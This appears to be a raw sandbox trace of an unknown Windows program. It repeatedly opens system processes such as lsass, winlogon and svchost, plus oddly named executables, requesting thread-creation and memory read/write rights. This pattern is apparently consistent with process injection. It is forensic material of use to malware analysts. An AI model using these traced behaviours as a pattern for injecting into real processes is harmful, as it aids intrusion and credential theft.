Get Info c:\program files\internet explorer\iexplore.exe type = PROCESS_BASIC_INFORMATION True 1
Fn
Get Info c:\program files\internet explorer\iexplore.exe type = PROCESS_BASIC_INFORMATION True 1
Fn
Get Info c:\program files\internet explorer\iexplore.exe type = PROCESS_BASIC_INFORMATION True 1
Fn
Get Info c:\program files\internet explorer\iexplore.exe type = PROCESS_BASIC_INFORMATION True 1
Fn
Get Info c:\program files\internet explorer\iexplore.exe type = PROCESS_BASIC_INFORMATION True 1
Fn
Get Info c:\program files\internet explorer\iexplore.exe type = PROCESS_BASIC_INFORMATION True 1
Fn
Get Info c:\program files\internet explorer\iexplore.exe type = PROCESS_BASIC_INFORMATION True 1
Fn
Get Info c:\program files\internet explorer\iexplore.exe type = PROCESS_BASIC_INFORMATION True 1
Fn
Get Info c:\program files\internet explorer\iexplore.exe type = PROCESS_BASIC_INFORMATION True 1
Fn
Get Info c:\program files\internet explorer\iexplore.exe type = PROCESS_BASIC_INFORMATION True 1
Fn
Get Info c:\program files\internet explorer\iexplore.exe type = PROCESS_BASIC_INFORMATION True 1
Fn
Get Info c:\program files\internet explorer\iexplore.exe type = PROCESS_BASIC_INFORMATION True 1
Fn
Get Info c:\program files\internet explorer\iexplore.exe type = PROCESS_BASIC_INFORMATION True 1
Fn
Get Info c:\program files\internet explorer\iexplore.exe type = PROCESS_BASIC_INFORMATION True 1
Fn
Get Info c:\program files\internet explorer\iexplore.exe type = PROCESS_BASIC_INFORMATION True 1
Fn
Get Info c:\program files\internet explorer\iexplore.exe type = PROCESS_BASIC_INFORMATION True 1
Fn
Get Info c:\program files\internet explorer\iexplore.exe type = PROCESS_BASIC_INFORMATION True 1
Fn
Get Info c:\program files\internet explorer\iexplore.exe type = PROCESS_BASIC_INFORMATION True 1
Fn
Get Info c:\program files\internet explorer\iexplore.exe type = PROCESS_BASIC_INFORMATION True 1
Fn
Open c:\windows\system32\smss.exe desired_access = PROCESS_DUP_HANDLE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_DUP_HANDLE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\wininit.exe desired_access = PROCESS_DUP_HANDLE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_DUP_HANDLE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\winlogon.exe desired_access = PROCESS_DUP_HANDLE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\services.exe desired_access = PROCESS_DUP_HANDLE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\lsass.exe desired_access = PROCESS_DUP_HANDLE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\lsm.exe desired_access = PROCESS_DUP_HANDLE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_DUP_HANDLE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_DUP_HANDLE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_DUP_HANDLE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_DUP_HANDLE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_DUP_HANDLE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_DUP_HANDLE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_DUP_HANDLE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\spoolsv.exe desired_access = PROCESS_DUP_HANDLE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_DUP_HANDLE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskhost.exe desired_access = PROCESS_DUP_HANDLE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskeng.exe desired_access = PROCESS_DUP_HANDLE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_DUP_HANDLE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\wbem\wmiprvse.exe desired_access = PROCESS_DUP_HANDLE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\sppsvc.exe desired_access = PROCESS_DUP_HANDLE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\dwm.exe desired_access = PROCESS_DUP_HANDLE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\explorer.exe desired_access = PROCESS_DUP_HANDLE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\smss.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\wininit.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\winlogon.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\services.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\lsass.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\lsm.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\spoolsv.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskhost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskeng.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\wbem\wmiprvse.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\sppsvc.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\dwm.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\explorer.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\audiodg.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION False 22
Fn
Open c:\program files\windows media player\shirts_cumshots_compaq.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft office\league.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows mail\js_sound.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows media player\beast-dry.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft synchronization services\forecastsgeographic.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows portable devices\reno.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows journal\specreformwear.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows photo viewer\rr_publications.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows mail\solo.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\uninstall information\beam.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\adobe\configurations.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows sidebar\fact-film-anticipated.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows defender\wanting villages.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows defender\engagementresearchersmonkey.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\internet explorer\surgical-marcus.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\internet explorer\iexplore.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\internet explorer\iexplore.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskeng.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\smss.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\wininit.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\winlogon.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\services.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\lsass.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\lsm.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\spoolsv.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskhost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskeng.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\wbem\wmiprvse.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\sppsvc.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\dwm.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\explorer.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows media player\shirts_cumshots_compaq.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft office\league.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows mail\js_sound.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows media player\beast-dry.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft synchronization services\forecastsgeographic.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows portable devices\reno.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows journal\specreformwear.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows photo viewer\rr_publications.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows mail\solo.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\uninstall information\beam.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\adobe\configurations.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows sidebar\fact-film-anticipated.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows defender\wanting villages.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows defender\engagementresearchersmonkey.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\internet explorer\surgical-marcus.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\internet explorer\iexplore.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\internet explorer\iexplore.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskeng.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\smss.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\wininit.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\winlogon.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\services.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\lsass.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\lsm.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\spoolsv.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
